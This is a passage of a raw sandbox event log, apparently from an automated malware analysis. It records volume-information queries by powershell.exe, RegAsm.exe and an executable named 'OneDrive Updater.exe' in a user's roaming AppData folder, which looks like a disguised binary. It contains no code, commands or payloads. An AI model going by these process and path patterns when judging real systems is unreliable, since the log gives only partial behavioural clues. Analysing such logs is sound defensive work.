Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
